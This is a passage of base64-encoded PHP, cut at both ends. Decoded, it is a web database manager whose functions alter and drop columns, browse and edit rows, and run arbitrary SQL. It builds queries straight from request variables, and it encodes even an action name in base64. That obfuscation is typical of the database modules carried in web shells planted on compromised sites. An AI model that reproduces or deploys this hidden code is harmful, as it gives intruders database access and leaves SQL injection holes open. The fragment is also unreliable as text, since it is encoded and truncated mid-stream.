9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiI